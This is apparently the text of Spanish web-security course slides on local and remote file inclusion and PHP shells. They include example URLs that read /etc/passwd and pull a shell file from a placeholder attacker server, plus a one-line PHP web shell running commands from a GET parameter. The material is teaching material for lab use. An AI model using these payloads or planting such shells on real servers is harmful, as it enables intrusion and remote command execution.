Seguridad Web

Clase: 4

Instituto Educación IT

Autor: Maximiliano Cañellas

Sobre el curso

Módulo 4/4: Otras vulnerabilidades web

Temas:

· Vulnerabilidades LFI/RFI · Shells

File Inclusion


Un error muy común en varias aplicaciones web es no validar correctamente los mecanismos de inclusión de archivos locales (y, a veces, remotos) implementados por el sitio vulnerable.

Tipos: local File Inclusion (LFI)


Local File Inclusion, o traducido al castellano inclusion local de archivos, se trata de la técnica que mediante una vulnerabilidad de la aplicación nos permite "incluir" o leer archivos locales a los que normalmente no deberiamos tener acceso.

OWASP LFI


Un ejemplo:

www.vulnerable.com/index.php?modulo=about.php

Tipos: Local File Inclusion (LFI)

En el ejemplo de arriba, podemos suponer que se está cargando la sección “about” o “acerca de”.


La primera prueba que podríamos realizar en este caso sería modificar el contenido de la variable “modulo” y reemplazarla por otro archivo. Hecho esto, veremos si se obtiene algún error por parte del sitio, o si el archivo se incluye correctamente.

Uno de los archivos que podríamos intentar incluir, en el caso de tratarse de un servidor gnu/linux, sería “/etc/passwd”, así:


www.vulnerable.com/index.php?modulo=/etc/passwd

Tipos: Remote File Inclusion (RFI)


RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - es una vulnerabilidad que puede existir en una aplicación web y que permite el enlace de archivos remotos situados en otros servidores. Afecta particularmente al lenguaje PHP {función include()}

OWASP RFI


Un ejemplo:

http://vulnerable.com/index.php?page=plantilla.html

Tipos: Remote File Inclusion (RFI)


El atacante podrá obtener una Shell en el servidor vulnerable mediante el siguiente comando:

http://vulnerable.com/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

 system($cmd); 

Tipos: Remote File Inclusion (RFI)

Debemos tener en cuenta que el hecho de que exista una vulnerabilidad Remote File Inclusion no quiere decir que sea posible ejecutar instrucciones en el servidor. Eso depende de los filtros que aplique cada aplicación, pero es muy importante que directamente, no sea posible incluir archivos remotos que no sean validados, porque la falta de validaciones podría hacer que un atacante tenga muchas posibilidades de ataque, independientemente de si puede ejecutar comandos en el servidor o no.

Shells (PHP)


Existen varios proyectos para crear una shell de comandos en PHP, con el objetivo de controlar servidores. Muchas veces, esto se hace para tomar el control de servidores que han sido atacados previamente, aunque los administradores legítimos del servidor también podrían instalar este tipo de herramientas, siempre y cuando las mismas cuenten con algún mecanismo de autenticación.

Shells (PHP)


Eventualmente podriamos querer crear nuestra propia shell


Un ejemplo muy simple sería el siguiente:


?php system($_GET['cmd'] ?

Lo que hace esta shell es, simplemente, ejecutar los comandos que se le pasen por método GET en la variable 'cmd'.


Suponiendo que el archivo de la shell se llame 'shell.php', podemos utilizarla de la siguiente manera:

http://vulnerable.com/shell.php?cmd=ls

Esto ejecutará el comando 'ls' y mostrará su salida por pantalla.

Algunas Shells


Veamos en Mutillidae estos ejemplos de forma práctica


Fin de la clase ¡y del curso!

¿Dudas? ¿Preguntas?

Siempre pueden contactarme enviandome un correo a: maxi.canellas@gmail.com